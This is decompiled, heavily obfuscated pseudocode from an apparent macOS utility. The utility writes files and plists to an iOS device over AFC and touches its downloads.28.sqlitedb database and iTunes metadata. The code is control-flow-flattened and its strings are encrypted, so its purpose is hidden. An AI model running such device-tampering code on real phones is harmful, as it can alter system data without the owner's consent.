v81 = objc_retainAutoreleasedReturnValue(v20);
*v71 = (__int64)CFSTR("\x98D7v\x1E.\xDC\x42\xA6\xF6\x91\xCA\xBC\xAD\xB1\"\xC1\xB6\x1A'ݓ\t\xBE\r\x93\x83\x13j-\x9F");
v71[1] = (__int64)CFSTR("\x80[9ӯ\x7Fim9\u0379\x04\xCA\x11\xBB\xE7\x07\x96ZnG\x9E(~\x17%-vN\n\xE3\x0B\x8F\x97-\xFE");
v71[2] = (__int64)CFSTR("\xA9+KU:>\xF0\xE9\x36\xA4\xE3\xDE\xE5d-u\x14s&\x9D\x89\x19\xEC\xCF\x38\xC0\xCDW#\xEF\xFD\xA6\x9D\xDA\xF8\x92");
*v96 = 2093306416;
}
}
else
{
switch ( v65 )
{
case 130827885:
*v96 = -704118848;
break;
case 149891170:
*v96 = -1778424692;
v68 = v83;
break;
case 260151984:
v5 = 1;
v3 = -433292563;
v6 = -1909294531;
goto LABEL_423;
}
}
}
else if ( v65 <= 6304927 )
{
if ( v65 == -28262828 )
{
v5 = 0;
v3 = 672850832;
v6 = 1955937205;
goto LABEL_423;
}
if ( v65 == -12199004 )
{
v5 = 0;
v3 = -1659538543;
v6 = 1063333439;
goto LABEL_423;
}
}
else
{
switch ( v65 )
{
case 6304928:
v12 = 1;
v3 = 149891170;
v13 = 6304928;
goto LABEL_409;
case 10165334:
v43 = "localizedDescription";
*v96 = 592026979;
break;
case 21391449:
objc_msgSend(v56, v80);
HikariFunctionWrapper_18065(v83, v74);
*v96 = -229897334;
break;
}
}
}
else if ( v65 <= 423254109 )
{
if ( v65 <= 327222648 )
{
if ( v65 == 266600300 )
{
v2 = 0;
v3 = -2012572568;
v4 = -649050983;
goto LABEL_418;
}
if ( v65 == 323770627 )
*v96 = 806454999;
}
else
{
switch ( v65 )
{
case 327222649:
v5 = 1;
v3 = 1472741787;
v6 = -1520508349;
goto LABEL_423;
case 330958185:
strcpy(asc_100283740, "estando_todo_tan_violento_y_lo_que_nos_falto_decir");
asc_1002836B0[0] = 91;
asc_1002836B0[1] = 45;
asc_1002836B0[2] = 93;
asc_1002836B0[3] = 32;
asc_1002836B0[4] = 70;
asc_1002836B0[5] = 97;
asc_1002836B0[6] = 108;
asc_1002836B0[7] = 108;
asc_1002836B0[8] = 243;
asc_1002836B0[9] = 32;
asc_1002836B0[10] = 99;
asc_1002836B0[11] = 114;
asc_1002836B0[12] = 101;
asc_1002836B0[13] = 97;
asc_1002836B0[14] = 99;
asc_1002836B0[15] = 105;
asc_1002836B0[16] = 243;
asc_1002836B0[17] = 110;
asc_1002836B0[18] = 32;
asc_1002836B0[19] = 97;
asc_1002836B0[20] = 114;
asc_1002836B0[21] = 99;
asc_1002836B0[22] = 104;
asc_1002836B0[23] = 105;
asc_1002836B0[24] = 118;
asc_1002836B0[25] = 111;
asc_1002836B0[26] = 32;
asc_1002836B0[27] = 118;
asc_1002836B0[28] = 97;
asc_1002836B0[29] = 99;
asc_1002836B0[30] = 237;
asc_1002836B0[31] = 111;
asc_1002836B0[32] = 32;
asc_1002836B0[33] = 8594;
asc_1002836B0[34] = 32;
asc_1002836B0[35] = 37;
asc_1002836B0[36] = 115;
asc_1002836B0[37] = 0;
strcpy(asc_100283210, "Downloads/downloads.28.sqlitedb-wal");
a3X[0] = 109;
a3X[1] = 105;
v5 = 0;
a3X[2] = 114;
v3 = 882169845;
v6 = -562366425;
goto LABEL_423;
case 334295540:
v2 = !v94;
v3 = -509386105;
v4 = 1173570766;
goto LABEL_418;
}
}
}
else if ( v65 > 480006393 )
{
switch ( v65 )
{
case 480006394:
objc_msgSend(v84, v77);
*v96 = 1262296032;
break;
case 583880353:
v5 = 1;
v3 = -232684372;
v6 = -1876459331;
goto LABEL_423;
case 592026979:
v19 = objc_msgSend(v67, v43);
v44 = objc_retainAutoreleasedReturnValue(v19);
HikariFunctionWrapper_18041(&stru_100283960.isa);
*v96 = -212401347;
break;
}
}
else
{
switch ( v65 )
{
case 423254110:
objc_release(v55);
HikariFunctionWrapper_18073(v81, v50);
*v96 = -1867200706;
break;
case 425146875:
v36 = objc_msgSend(v75, v76, v78);
v37 = objc_retainAutoreleasedReturnValue(v36);
objc_retainAutorelease(v37);
v82 = objc_msgSend(v37, v53);
objc_release(v37);
v92 = v84 == 0;
v2 = 0;
v3 = 425146875;
v4 = -1458381293;
goto LABEL_418;
case 434507958:
v5 = 1;
v3 = 695235126;
v6 = 1065762774;
goto LABEL_423;
}
}
}
else if ( v65 > 710040671 )
{
if ( v65 <= 818524347 )
{
if ( v65 <= 753037099 )
{
if ( v65 == 710040672 )
{
v29 = -1295484572;
if ( v95 )
v29 = 598263641;
*v96 = v29;
v61 = v60;
}
else if ( v65 == 741639254 )
{
*v96 = -616725899;
}
}
else
{
switch ( v65 )
{
case 753037100:
v2 = 0;
v3 = 423254110;
v4 = -1867200706;
goto LABEL_418;
case 783210216:
v12 = 1;
v3 = -1838878106;
v13 = -1902885066;
goto LABEL_409;
case 806454999:
v74 = "isKindOfClass:";
v9 = (unsigned __int8)objc_msgSend(v73, "isKindOfClass:", v42) == 0;
v3 = 1250337101;
v10 = 10165334;
goto LABEL_404;
}
}
}
else if ( v65 > 884674648 )
{
switch ( v65 )
{
case 884674649:
*v96 = -942686163;
break;
case 909014202:
v5 = 1;
v3 = 1128171373;
v6 = -897181109;
goto LABEL_423;
case 952500553:
NSLog(
CFSTR("⤑⥟\u18FA⣲ꌢ淡胭鰙㓠蔜꧊鱧䢚Ꙕ\u18FBୀ룉쏇虮㹼谽땜ᜅ먉⧚흼姝皇⡱ઠⱞ蜫糮⫄䓽᪆甎"),
v82);
v2 = 0;
v3 = 952500553;
v4 = 1099975293;
goto LABEL_418;
}
}
else
{
switch ( v65 )
{
case 818524348:
NSLog(
CFSTR("⤑⥟\u18FA⣲ꌢ淡胭鰙㓠蔜꧊鱧䢚Ꙕ\u18FBୀ룉쏇虮㹼谽땜ᜅ먉⧚흼姝皇⡱ઠⱞ蜫糮⫄䓽᪆甎"),
v82);
*v96 = 952500553;
break;
case 830552851:
*v79 = 0;
v32 = +[NSPropertyListSerialization propertyListWithData:options:format:error:](
&OBJC_CLASS___NSPropertyListSerialization,
"propertyListWithData:options:format:error:",
v66,
0,
0,
v79);
v73 = objc_retainAutoreleasedReturnValue(v32);
v67 = *v79;
objc_retain(v67);
v88 = v67 == 0;
v9 = 0;
v3 = -773974384;
LABEL_380:
v10 = 1209474226;
goto LABEL_404;
case 882169845:
*v96 = 1244295042;
break;
}
}
}
else if ( v65 <= 665634838 )
{
if ( v65 <= 643180205 )
{
if ( v65 == 598263641 )
{
v78 = v61;
*v96 = -1818976050;
}
else if ( v65 == 639261748 )
{
*v96 = -12199004;
}
}
else
{
switch ( v65 )
{
case 643180206:
v9 = 0;
v3 = -1701164725;
v10 = -170684440;
goto LABEL_404;
case 644066315:
*v96 = 1606447683;
break;
case 657079456:
*v96 = 666756845;
break;
}
}
}
else if ( v65 > 695152358 )
{
switch ( v65 )
{
case 695152359:
asc_100283260[24] = 113;
asc_100283260[25] = 108;
asc_100283260[26] = 105;
asc_100283260[27] = 116;
asc_100283260[28] = 101;
asc_100283260[29] = 100;
asc_100283260[30] = 98;
asc_100283260[31] = 0;
strcpy(asc_1002832B0, "Downloads/downloads.28.sqlitedb-shm");
*v96 = 1265156256;
break;
case 695235126:
*(_BYTE *)v72 = 0;
*v96 = 1065762774;
break;
case 702924296:
LABEL_224:
*v96 = 327222649;
break;
}
}
else
{
switch ( v65 )
{
case 665634839:
v12 = 1;
v3 = 1262296032;
v13 = 480006394;
LABEL_409:
if ( !v12 )
v3 = v13;
LABEL_425:
*v96 = v3;
break;
case 666756845:
v12 = 0;
v76 = "objectAtIndexedSubscript:";
v51 = "objectForKeyedSubscript:";
v3 = 666756845;
v13 = 1785848250;
goto LABEL_409;
case 672850832:
objc_retain(v83);
v2 = 0;
v3 = 1955937205;
v4 = -548260209;
goto LABEL_418;
}
}
}
if ( v65 > 1472741786 )
break;
if ( v65 > 1180886616 )
{
if ( v65 <= 1262296031 )
{
if ( v65 <= 1222753385 )
{
if ( v65 == 1180886617 )
{
*v96 = 909014202;
}
else if ( v65 == 1209474226 )
{
*v79 = 0;
v23 = +[NSPropertyListSerialization propertyListWithData:options:format:error:](
&OBJC_CLASS___NSPropertyListSerialization,
"propertyListWithData:options:format:error:",
v66,
0,
0,
v79);
objc_retainAutoreleasedReturnValue(v23);
objc_retain(*v79);
*v96 = 830552851;
}
}
else
{
switch ( v65 )
{
case 1222753386:
*v96 = -439226339;
break;
case 1244295042:
v5 = 1;
v3 = -445161938;
v6 = -225317837;
goto LABEL_423;
case 1250337101:
*v70 = (__int64)CFSTR("3 X\xA0");
v70[1] = (__int64)CFSTR("\x96\xC5\x68N\xF2\xDD\xE5\x3E\x01\xF7\xA1\x33\x90c\xAD\x04\xB1\x85\x89'\xC9\xC9Ӗ\xE2\xFC\x7A\xA1\xE9\x21\xA8\xCB\x7C\xCB\xC1\"\x8El\xFF\xD4\x74\xC4\x2F\xC2\xE1ndZ\xAA\n\x1D");
v70[2] = (__int64)CFSTR("\x12\xCF\x5D\xDE\x36\xE1\x37\xDE\ȁk\x05\xAF\x11ng4K\xE3\xD8\x0F.\xC3\x65\xA1\xD8\xFA\x9C\x91t¢f^\xF1\x7C\x29\x50\xEE\x62\x05\x83\xCC\xCA");
*v96 = 106605771;
break;
}
}
}
else if ( v65 > 1340494676 )
{
switch ( v65 )
{
case 1340494677:
*v96 = -2124113936;
break;
case 1410661710:
v5 = 1;
v3 = -799565187;
v6 = 2059298179;
goto LABEL_423;
case 1416869869:
v14 = objc_msgSend(v69, v48, 4);
objc_retainAutoreleasedReturnValue(v14);
*v96 = -1487039389;
break;
}
}
else
{
switch ( v65 )
{
case 1262296032:
v38 = objc_msgSend(v84, v77);
v2 = 0;
v47 = v38;
v3 = 480006394;
v4 = -204000597;
goto LABEL_418;
case 1265156256:
v5 = 1;
v3 = -1230320485;
v6 = 1557149609;
goto LABEL_423;
case 1320893829:
v2 = 0;
v56 = &OBJC_CLASS___NSString;
v3 = 1320893829;
v4 = -1274514223;
goto LABEL_418;
}
}
}
else if ( v65 <= 1099975292 )
{
if ( v65 <= 1065762773 )
{
if ( v65 == 1042582845 )
{
v93 = v47 == 0;
*v96 = -410754798;
}
else if ( v65 == 1063333439 )
{
*v96 = -1659538543;
}
}
else
{
switch ( v65 )
{
case 1065762774:
v12 = 1;
*(_BYTE *)v72 = 0;
v3 = 2138670560;
v13 = 695235126;
goto LABEL_409;
case 1084009546:
v27 = HikariFunctionWrapper_18055(v84, v77);
v2 = 0;
v59 = (__int64)v27;
v3 = 1084009546;
v4 = 1999618242;
goto LABEL_418;
case 1089095138:
AFCPushMemory(a2, (__int64)v72, 0, (__int64)v82);
*v96 = 1138283580;
break;
}
}
}
else if ( v65 > 1138283579 )
{
switch ( v65 )
{
case 1138283580:
v39 = HikariFunctionWrapper_18053(a2, (__int64)v72, 0, (__int64)v82);
v2 = 0;
v94 = v39;
v3 = 1089095138;
v4 = -1064464428;
LABEL_418:
if ( !v2 )
v3 = v4;
goto LABEL_425;
case 1155760570:
*v96 = -692511193;
break;
case 1173570766:
v2 = 0;
v3 = -799565187;
v4 = 1410661710;
goto LABEL_418;
}
}
else
{
switch ( v65 )
{
case 1099975293:
*v96 = -2145882317;
break;
case 1105883178:
v9 = 0;
v3 = 830552851;
goto LABEL_380;
case 1128171373:
*v96 = -897181109;
break;
}
}
}
if ( v65 > 1794409893 )
break;
if ( v65 <= 1567063346 )
{
if ( v65 <= 1499534142 )
{
if ( v65 == 1472741787 )
{
objc_release(v84);
*v96 = -1520508349;
}
else if ( v65 == 1488433867 )
{
v77 = "length";
v54 = "bytes";
*v96 = 598263641;
v61 = 0;
}
}
else
{
switch ( v65 )
{
case 1499534143:
v12 = 0;
v3 = 1934565470;
v13 = -1103342699;
goto LABEL_409;
case 1547040016:
LABEL_303:
*v96 = -156061882;
break;
case 1557149609:
dword_10029F5C8 = 1;
v79 = (id *)&v41;
v70 = &v41;
v71 = &v41;
v86 = v69 != 0;
v5 = 1;
v72 = &v41 - 2;
v3 = 1557149609;
v6 = -1125940884;
goto LABEL_423;
}
}
}
else if ( v65 > 1619753146 )
{
switch ( v65 )
{
case 1619753147:
objc_release(v62);
objc_release(v73);
objc_release(v67);
objc_release(v66);
*v96 = 1547040016;
break;
case 1718069360:
*v96 = -289395017;
break;
case 1785848250:
*v96 = 266600300;
break;
}
}
else
{
switch ( v65 )
{
case 1567063347:
v9 = 0;
v3 = 1606447683;
v10 = 644066315;
LABEL_404:
if ( v9 )
v3 = v10;
goto LABEL_425;
case 1603337319:
v2 = !v89;
v3 = -28262828;
v4 = -577542625;
goto LABEL_418;
case 1606447683:
v85 = v64 == 0;
v5 = 0;
v3 = -2101386911;
v6 = 644066315;
goto LABEL_423;
}
}
}
if ( v65 <= 1999618241 )
break;
if ( v65 <= 2059298178 )
{
if ( v65 == 1999618242 )
{
*v96 = 643180206;
}
else if ( v65 == 2044819593 )
{
*v96 = 1619753147;
v62 = v81;
}
}
else
{
switch ( v65 )
{
case 2059298179:
*v96 = -996847079;
break;
case 2093306416:
v24 = objc_msgSend(&OBJC_CLASS___NSArray, v45, v71, 3);
v75 = objc_retainAutoreleasedReturnValue(v24);
v50 = "count";
v9 = objc_msgSend(v81, "count") == 0;
v3 = -1063772528;
v10 = -1295484572;
goto LABEL_404;
case 2138670560:
*v96 = -821572528;
break;
}
}
}
if ( v65 <= 1934565469 )
break;
switch ( v65 )
{
case 1934565470:
*v96 = 1499534143;
break;
case 1952749607:
objc_release(v75);
*v96 = 130827885;
break;
case 1955937205:
objc_retain(v83);
*v96 = 672850832;
break;
}
}
if ( v65 == 1794409894 )
{
v9 = 0;
v3 = -1091649911;
v10 = -683312862;
goto LABEL_404;
}
if ( v65 == 1880843246 )
{
v9 = 0;
v3 = 330958185;
v10 = -562366425;
goto LABEL_404;
}
}
while ( v65 != 1806168295 );
return -1;
}
// 1002836B0: using guessed type __int16 asc_1002836B0[38];
// 1002837E0: using guessed type __CFString stru_1002837E0;
// 100283820: using guessed type __CFString stru_100283820;
// 100283860: using guessed type __CFString stru_100283860;
// 1002838A0: using guessed type __CFString stru_1002838A0;
// 1002838E0: using guessed type __CFString cfstr_3X;
// 100283920: using guessed type __CFString stru_100283920;
// 100283960: using guessed type __CFString stru_100283960;
// 10029F5C8: using guessed type int dword_10029F5C8;
//----- (000000010015FC75) ----------------------------------------------------
id __fastcall ReadiTunesMetadata(__int64 a1, double a2)
{
__int64 v2; // rbx
bool v3; // zf
int v4; // eax
int v5; // ecx
id v6; // rax
id v7; // rax
bool v8; // cf
int v9; // ecx
NSString *v10; // rax
id v11; // rax
id v12; // rax
char v13; // cf
int v14; // ecx
id v15; // rax
bool v16; // zf
int v17; // ecx
id v18; // rax
id v19; // rax
id v20; // rax
id v21; // r13
id v22; // rax
id v23; // rax
id v24; // rax
id v25; // rax
id v26; // rax
id v27; // rax
id *v28; // r13
id v29; // rax
id v30; // rax
id v31; // rax
int v32; // eax
id v33; // rax
unsigned __int64 v34; // rax
id v35; // rax
id v36; // r13
id v37; // rax
NSString *v38; // rax
id v39; // rax
id v40; // rax
id v41; // r15
id v42; // rax
id v43; // r13
void ***v44; // r15
id v45; // rax
id v46; // r15
id v47; // rax
id v48; // rax
id v49; // r13
int v50; // eax
id v51; // rax
id v52; // r13
id v53; // rax
__int64 v54; // rax
int v55; // ecx
id v56; // rax
unsigned __int64 v57; // rax
id v58; // rax
id v59; // r13
id v60; // rax
int v61; // eax
id v62; // rax
id v63; // rax
void *v64; // r15
id v65; // r13
void *v66; // r15
void *v67; // r13
id v68; // rax
id v69; // r15
NSData *v70; // rax
id v71; // rax
int v72; // eax
id v73; // rax
id v74; // rax
id v75; // rax
id v76; // rax
id v77; // r13
id v78; // rax
id v79; // rax
id v80; // rax
id v81; // rax
id v82; // rax
unsigned int v83; // eax
int v84; // ecx
id v85; // rax
int v86; // eax
id v87; // rax
char *v88; // rax
__int64 v89; // rcx
id v90; // rax
id v91; // r13
id v92; // rax
NSString *v93; // rax
NSString *v94; // rax
id v95; // rax
id v96; // rax
id v97; // rax
id v98; // rax
id v99; // rax
id v100; // rax
id v101; // rax
id v102; // rax
id *v103; // r15
id v104; // rax
id v105; // rax
id v106; // rax
id v107; // rax
id v108; // r13
id v109; // rax
__int64 v110; // rax
bool v111; // dl
id v112; // rax
NSNumber *v113; // rax
id v114; // rax
NSDictionary *v115; // rax
id *v116; // r15
id v117; // rax
int v118; // eax
NSString *v119; // rax
bool v120; // si
id v121; // rax
id v122; // rax
id v123; // rax
id v124; // rax
id v125; // rbx
_QWORD *v127; // [rsp+0h] [rbp-3C0h] BYREF
__int64 v128; // [rsp+8h] [rbp-3B8h]
__int64 v129; // [rsp+10h] [rbp-3B0h]
__int64 v130; // [rsp+18h] [rbp-3A8h]
SEL v131; // [rsp+20h] [rbp-3A0h]
SEL v132; // [rsp+28h] [rbp-398h]
SEL v133; // [rsp+30h] [rbp-390h]
id v134; // [rsp+38h] [rbp-388h]
const char *v135; // [rsp+40h] [rbp-380h]
const char *v136; // [rsp+48h] [rbp-378h]
id v137; // [rsp+50h] [rbp-370h]
id v138; // [rsp+58h] [rbp-368h]
__int64 v139; // [rsp+60h] [rbp-360h]
__int64 v140; // [rsp+68h] [rbp-358h]
void *v141; // [rsp+70h] [rbp-350h]
SEL v142; // [rsp+78h] [rbp-348h]
__int64 v143; // [rsp+80h] [rbp-340h]
id v144; // [rsp+88h] [rbp-338h]
id v145; // [rsp+90h] [rbp-330h]
SEL v146; // [rsp+98h] [rbp-328h]
SEL v147; // [rsp+A0h] [rbp-320h]
SEL v148; // [rsp+A8h] [rbp-318h]
SEL v149; // [rsp+B0h] [rbp-310h]
SEL v150; // [rsp+B8h] [rbp-308h]
unsigned __int64 v151; // [rsp+C0h] [rbp-300h]
SEL v152; // [rsp+C8h] [rbp-2F8h]
SEL v153; // [rsp+D0h] [rbp-2F0h]
id v154; // [rsp+D8h] [rbp-2E8h]
id v155; // [rsp+E0h] [rbp-2E0h]
id v156; // [rsp+E8h] [rbp-2D8h]
id v157; // [rsp+F0h] [rbp-2D0h]
id *v158; // [rsp+F8h] [rbp-2C8h]
id v159; // [rsp+100h] [rbp-2C0h]
id v160; // [rsp+108h] [rbp-2B8h]
id v161; // [rsp+110h] [rbp-2B0h]
_QWORD *v162; // [rsp+118h] [rbp-2A8h]
id v163; // [rsp+120h] [rbp-2A0h]
id *v164; // [rsp+128h] [rbp-298h]
unsigned __int64 v165; // [rsp+130h] [rbp-290h]
SEL v166; // [rsp+138h] [rbp-288h]
id v167; // [rsp+140h] [rbp-280h]
SEL v168; // [rsp+148h] [rbp-278h]
id v169; // [rsp+150h] [rbp-270h]
SEL v170; // [rsp+158h] [rbp-268h]
const char *v171; // [rsp+160h] [rbp-260h]
__int64 v172; // [rsp+168h] [rbp-258h]
unsigned __int64 v173; // [rsp+170h] [rbp-250h]
__int64 v174; // [rsp+178h] [rbp-248h]
unsigned __int64 v175; // [rsp+180h] [rbp-240h]
__int64 v176; // [rsp+188h] [rbp-238h]
id v177; // [rsp+190h] [rbp-230h]
void *v178; // [rsp+198h] [rbp-228h]
id v179; // [rsp+1A0h] [rbp-220h]
void *v180; // [rsp+1A8h] [rbp-218h]
void *v181; // [rsp+1B0h] [rbp-210h]
id v182; // [rsp+1B8h] [rbp-208h]
__int64 v183; // [rsp+1C0h] [rbp-200h]
__int64 v184; // [rsp+1C8h] [rbp-1F8h]
int v185; // [rsp+1D0h] [rbp-1F0h]
int v186; // [rsp+1D4h] [rbp-1ECh] BYREF
id *v187; // [rsp+1D8h] [rbp-1E8h]
id *v188; // [rsp+1E0h] [rbp-1E0h]
_QWORD *v189; // [rsp+1E8h] [rbp-1D8h]
id *v190; // [rsp+1F0h] [rbp-1D0h]
double v191; // [rsp+1F8h] [rbp-1C8h]
id v192; // [rsp+200h] [rbp-1C0h]
id v193; // [rsp+208h] [rbp-1B8h]
id v194; // [rsp+210h] [rbp-1B0h]
id v195; // [rsp+218h] [rbp-1A8h]
id v196; // [rsp+220h] [rbp-1A0h]
id v197; // [rsp+228h] [rbp-198h]
unsigned __int64 v198; // [rsp+230h] [rbp-190h]
unsigned __int64 v199; // [rsp+238h] [rbp-188h]
id v200; // [rsp+240h] [rbp-180h]
id v201; // [rsp+248h] [rbp-178h]
id v202; // [rsp+250h] [rbp-170h]
id v203; // [rsp+258h] [rbp-168h]
id v204; // [rsp+260h] [rbp-160h]
id v205; // [rsp+268h] [rbp-158h]
id v206; // [rsp+270h] [rbp-150h]
id v207; // [rsp+278h] [rbp-148h]
id v208; // [rsp+280h] [rbp-140h]
unsigned int v209; // [rsp+288h] [rbp-138h]
unsigned int v210; // [rsp+28Ch] [rbp-134h]
_QWORD *v211; // [rsp+290h] [rbp-130h]
id *v212; // [rsp+298h] [rbp-128h]
id v213; // [rsp+2A0h] [rbp-120h]
SEL v214; // [rsp+2A8h] [rbp-118h]
id v215; // [rsp+2B0h] [rbp-110h]
id v216; // [rsp+2B8h] [rbp-108h]
unsigned __int64 v217; // [rsp+2C0h] [rbp-100h]
id *v218; // [rsp+2C8h] [rbp-F8h]
id *v219; // [rsp+2D0h] [rbp-F0h]
_QWORD *v220; // [rsp+2D8h] [rbp-E8h]
_QWORD *v221; // [rsp+2E0h] [rbp-E0h]
_QWORD *v222; // [rsp+2E8h] [rbp-D8h]
SEL v223; // [rsp+2F0h] [rbp-D0h]
id v224; // [rsp+2F8h] [rbp-C8h]
unsigned __int16 v225; // [rsp+306h] [rbp-BAh]
id v226; // [rsp+308h] [rbp-B8h]
__int64 *v227; // [rsp+310h] [rbp-B0h]
__int64 *v228; // [rsp+318h] [rbp-A8h]
id v229; // [rsp+320h] [rbp-A0h]
id v230; // [rsp+328h] [rbp-98h]
SEL v231; // [rsp+330h] [rbp-90h]
id v232; // [rsp+338h] [rbp-88h]
id v233; // [rsp+340h] [rbp-80h]
id v234; // [rsp+348h] [rbp-78h]
id v235; // [rsp+350h] [rbp-70h]
__int16 v236; // [rsp+35Eh] [rbp-62h]
void ***v237; // [rsp+360h] [rbp-60h]
SEL v238; // [rsp+368h] [rbp-58h]
bool v239; // [rsp+376h] [rbp-4Ah]
char v240; // [rsp+377h] [rbp-49h]
bool v241; // [rsp+378h] [rbp-48h]
bool v242; // [rsp+379h] [rbp-47h]
bool v243; // [rsp+37Ah] [rbp-46h]
bool v244; // [rsp+37Bh] [rbp-45h]
bool v245; // [rsp+37Ch] [rbp-44h]
char v246; // [rsp+37Dh] [rbp-43h]
bool v247; // [rsp+37Eh] [rbp-42h]
bool v248; // [rsp+37Fh] [rbp-41h]
char v249; // [rsp+380h] [rbp-40h]
bool v250; // [rsp+381h] [rbp-3Fh]
char v251; // [rsp+382h] [rbp-3Eh]
bool v252; // [rsp+383h] [rbp-3Dh]
bool v253; // [rsp+384h] [rbp-3Ch]
bool v254; // [rsp+385h] [rbp-3Bh]
char v255; // [rsp+386h] [rbp-3Ah]
bool v256; // [rsp+387h] [rbp-39h]
int *v257; // [rsp+388h] [rbp-38h]
__int64 v258; // [rsp+390h] [rbp-30h]
v2 = a1;
v258 = -1;
v185 = dword_10029F5CC;
v186 = -1253015735;
v257 = &v186;
v184 = a1;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v186 <= -201419403 )
{
if ( v186 <= -1191727271 )
{
if ( v186 <= -1724894176 )
{
if ( v186 <= -1917115107 )
{
if ( v186 <= -1993414535 )
{
if ( v186 <= -2085544315 )
{
if ( v186 > -2104903122 )
{
if ( v186 == -2104903121 )
{
*v257 = 640420287;
}
else if ( v186 == -2097140105 )
{
v64 = v180;
v65 = v179;
objc_release(v234);
objc_release(v65);
*v257 = 590181479;
v181 = v64;
}
}
else if ( v186 == -2139671940 )
{
v123 = objc_msgSend(v169, v170);
v124 = objc_retainAutoreleasedReturnValue(v123);
v16 = 0;
v207 = v124;
v171 = "removeItemAtPath:error:";
v4 = -2139671940;
v17 = -1980894907;
LABEL_797:
if ( !v16 )
v4 = v17;
LABEL_799:
*v257 = v4;
}
else if ( v186 == -2126530227 )
{
objc_msgSend(v229, "writeToFile:atomically:", v213, 1);
NSLog(
CFSTR("\xF7\x60\x3D\xA6\xA6\xA3\xF2\xC2\x7C\xF5\x89\x97\x18A\x98\x16\xF5\x0A\x84\x48M\xD4\x17\x84\x84\xC9\x6E\x96\xE2\xC9\x2B\xE7\x71\x973,Fv\x15\xE7\x65\xC1\xDE\xE7i\xAA"),
v213);
*v187 = 0;
v39 = +[NSPropertyListSerialization propertyListWithData:options:format:error:](
&OBJC_CLASS___NSPropertyListSerialization,
"propertyListWithData:options:format:error:",
v229,
2,
v127,
v187);
v234 = objc_retainAutoreleasedReturnValue(v39);
*v257 = -106469005;
}
}
else if ( v186 <= -2031106704 )
{
if ( v186 == -2085544314 )
{
*v257 = -1094759908;
}
else if ( v186 == -2058458452 )
{
v140 = v176;
*v257 = -397925359;
}
}
else
{
switch ( v186 )
{
case -2031106703:
v121 = objc_msgSend(v197, "localizedDescription");
v122 = objc_retainAutoreleasedReturnValue(v121);
NSLog(
CFSTR("y\xE0\x1B\x01f'v\rEa\xF9\xF9.\xEF\x5A\x93\x8C\xBD\xA6\xCD\xEC\xD6\x46B\xBA4\xC1\x0F\xFD\xAEY\x146\xA8~lv\xCC\x6A\xF4\xAB\xA5\x33"),
v122);
*v257 = -363680728;
break;
case -2016863975:
AFCFileRefClose(v2);
objc_msgSend(v229, "length");
*v257 = 1619077126;
break;
case -1996171494:
v8 = 0;
v4 = -624063732;
v9 = -1996171494;
goto LABEL_788;
}
}
}
else if ( v186 > -1980760413 )
{
if ( v186 <= -1962063413 )
{
if ( v186 == -1980760412 )
{
objc_release(v203);
*v257 = -1306255585;
}
else if ( v186 == -1969549061 )
{
v13 = 0;
v4 = 18252606;
v14 = -604756443;
goto LABEL_780;
}
}
else
{
switch ( v186 )
{
case -1962063412:
v13 = 1;
v4 = 241275896;
v14 = -1191727270;
LABEL_780:
if ( !v13 )
v4 = v14;
goto LABEL_799;
case -1947600631:
*v257 = 106163674;
break;
case -1944573149:
objc_msgSend(v234, v166, v205, CFSTR("\xD5\x6E\x10\r\x88\xDA\xD2\x9D~H"));
v13 = 1;
v4 = -1539328585;
v14 = -264228599;
goto LABEL_780;
}
}
}
else if ( v186 <= -1991396564 )
{
if ( v186 == -1993414534 )
{
*v257 = -1574755778;
}
else if ( v186 == -1992300546 )
{
v16 = 0;
v4 = -298350710;
v17 = -1708424750;
goto LABEL_797;
}
}
else
{
switch ( v186 )
{
case -1991396563:
*v257 = 115175818;
v173 = 0;
break;
case -1982786102:
goto LABEL_318;
case -1980894907:
*v257 = 907047104;
break;
}
}
}
else if ( v186 > -1822523346 )
{
if ( v186 > -1750233004 )
{
if ( v186 <= -1740466395 )
{
if ( v186 == -1750233003 )
{
*v257 = 1893928776;
}
else if ( v186 == -1740751946 )
{
v153 = "addObject:";
*v257 = -630140614;
}
}
else
{
switch ( v186 )
{
case -1740466394:
objc_release(v229);
*v257 = -872359822;
break;
case -1733959555:
v13 = 1;
v4 = -363680728;
v14 = -2031106703;
goto LABEL_780;
case -1729514256:
*v257 = 404697666;
break;
}
}
}
else if ( v186 <= -1798302447 )
{
if ( v186 == -1822523345 )
{
*v257 = -566351365;
}
else if ( v186 == -1821482234 )
{
HikariFunctionWrapper_18111(v207, v171);
objc_release(v207);
v62 = HikariFunctionWrapper_18113(v216);
v63 = objc_retainAutoreleasedReturnValue(v62);
v8 = 0;
v139 = (__int64)v63;
v4 = 710238632;
v9 = -1821482234;
goto LABEL_788;
}
}
else
{
switch ( v186 )
{
case -1798302446:
v3 = 0;
v4 = -882737163;
v5 = -897443141;
goto LABEL_784;
case -1797369825:
v166 = "setObject:forKeyedSubscript:";
*v257 = 85453539;
break;
case -1785151745:
*v257 = 1894465569;
break;
}
}
}
else if ( v186 > -1879026388 )
{
if ( v186 <= -1861732822 )
{
if ( v186 == -1879026387 )
{
*v257 = 1612536087;
}
else if ( v186 == -1869058505 )
{
v13 = 1;
v4 = 1209687027;
v14 = 1275232615;
goto LABEL_780;
}
}
else
{
switch ( v186 )
{
case -1861732821:
v16 = 0;
v4 = 293844718;
v17 = -1512234363;
goto LABEL_797;
case -1847278583:
goto LABEL_587;
case -1831079276:
v13 = 0;
v4 = -273612360;
v14 = -1380566658;
goto LABEL_780;
}
}
}
else if ( v186 <= -1895561040 )
{
if ( v186 == -1917115106 )
{
*v257 = 191273636;
v208 = v233;
}
else if ( v186 == -1904911710 )
{
NSLog(CFSTR("ᵟᷝ⤰┳觫祮閳챎뵤ꊄ乙滛\xB1\xDF哮寔愃\x57\xDF\u0EEEࣩግ厎ז⟶Ꜷ三㯣픺\x17\xDE透䴊ᆄ饴涸䭦\uFAEC┊永ᗱ邕\u0DBC鞡џꜴ⡦枢疛顈몸爆"));
v8 = 0;
v4 = 1019267889;
v9 = 484288572;
goto LABEL_788;
}
}
else
{
switch ( v186 )
{
case -1895561039:
*v257 = -1740751946;
break;
case -1883513584:
*v257 = -1562633013;
break;
case -1880130008:
v13 = 1;
v4 = 1052052126;
v14 = -337984123;
goto LABEL_780;
}
}
}
else if ( v186 > -1467382772 )
{
if ( v186 > -1301887633 )
{
if ( v186 > -1253015736 )
{
if ( v186 <= -1227707014 )
{
if ( v186 == -1253015735 )
{
v8 = 0;
v4 = -1453014341;
v9 = 657236572;
goto LABEL_788;
}
if ( v186 == -1235907033 )
*v257 = -621798938;
}
else
{
switch ( v186 )
{
